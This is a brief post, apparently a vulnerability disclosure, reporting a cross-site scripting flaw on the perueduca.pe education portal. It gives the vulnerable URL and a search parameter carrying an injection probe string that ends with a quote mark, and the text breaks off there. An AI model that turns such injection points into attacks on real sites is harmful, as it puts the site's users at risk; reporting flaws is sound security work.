perueduca.pe XSS vulnerability

Vulnerable URL: http://www.perueduca.pe/recursos-educativos?ppid=ResourcesPublicPEWARResourcesPublicPEportletplifecycle=0pstate=normalpmode=viewpcolid=column-pcolcount=1&ResourcesPublicPEWARResourcesPublicPEportletjspPage=%2Fsearch.jsp&ResourcesPublicPEWARResourcesPublicPEportletq=B4rtwashere"...